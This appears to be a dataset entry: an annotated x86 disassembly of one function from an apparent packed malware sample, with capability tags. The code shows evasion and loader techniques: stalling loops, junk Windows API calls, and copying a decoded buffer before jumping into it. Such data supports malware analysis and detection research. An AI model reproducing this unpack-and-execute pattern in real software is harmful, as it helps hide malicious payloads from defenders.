Function at 0x818a8b
Capabilities:
Check for software breakpoints
Get thread local storage value
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1140
call fcn.00418580
mov eax, dword [0x81d0d0]
xor eax, ebp
mov dword [ebp - 8], eax
and dword [ebp - 4], 0
jmp 0x818aaf
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x365ea9e0
jge 0x818afa
cmp dword [0x8265ac], 0xc31
jne 0x818aca
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
cmp dword [ebp - 4], 0x176afc
jle 0x818af8
cmp dword [0x8265ac], 0xa
jne 0x818af6
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
jmp 0x818afa
jmp 0x818aa8
and dword [ebp - 0x64], 0
jmp 0x818b07
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x5f6c74
jge 0x818b25
cmp dword [ebp - 0x64], 0x562d05
jne 0x818b23
mov eax, dword [0x81dd58]
mov dword [0x82660c], eax
jmp 0x818b00
cmp dword [0x8265ac], 0x7c
jne 0x818b75
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
cmp dword [0x8265ac], 0x2d
jne 0x818b64
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
lea eax, [ebp - 0x7c]
push eax
call fcn.004011fe
lea eax, [ebp - 0x7c]
call fcn.00401230
cmp dword [0x8265ac], 0x110a
jne 0x818c5f
and dword [0x826598], 0
and dword [0x82659c], 0
cmp dword [0x8265ac], 0xcc
jne 0x818bb1
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x826268], 0x14
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
lea eax, [ebp - 0x898]
push eax
push str.halalipifodedoyowit
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push 0
call fcn.00401d45
pop ecx
pop ecx
push 0
push 0
call fcn.00401d45
pop ecx
pop ecx
mov eax, dword [0x81b808]
mov dword [ebp - 0x1098], eax
push 0x7fc
push 0
lea eax, [ebp - 0x1094]
push eax
call fcn.004041d0
add esp, 0xc
lea eax, [ebp - 0x898]
mov dword [ebp - 0x98], eax
push 0
push 0
call fcn.00401d45
pop ecx
pop ecx
push 0
call fcn.00401eac
pop ecx
push 0
call fcn.00401a4c
pop ecx
call fcn.00818100
and dword [ebp - 0x10a0], 0
jmp 0x818c7a
mov eax, dword [ebp - 0x10a0]
inc eax
mov dword [ebp - 0x10a0], eax
mov eax, dword [ebp - 0x10a0]
cmp eax, dword [0x8265ac]
jae 0x818cd1
mov eax, dword [0x82660c]
mov dword [ebp - 0x10a4], eax
mov eax, 0xa231
add dword [ebp - 0x10a4], eax
mov eax, dword [0x8264f4]
add eax, dword [ebp - 0x10a0]
mov ecx, dword [ebp - 0x10a4]
add ecx, dword [ebp - 0x10a0]
mov cl, byte [ecx]
mov byte [eax], cl
cmp dword [0x8265ac], 0x5ab
jne 0x818ccf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualLock]
jmp 0x818c6d
call fcn.008188b8
call fcn.00818115
mov eax, 0x81dd60
call fcn.00818a39
and dword [ebp - 0x10a8], 0
jmp 0x818cfb
mov eax, dword [ebp - 0x10a8]
inc eax
mov dword [ebp - 0x10a8], eax
cmp dword [ebp - 0x10a8], 0x15a63d
jge 0x818d24
cmp dword [ebp - 0x10a8], 0xbd9cb
jne 0x818d22
mov eax, dword [0x8264f4]
add eax, 0
mov dword [0x8264f4], eax
jmp 0x818cee
jmp dword [0x8264f4]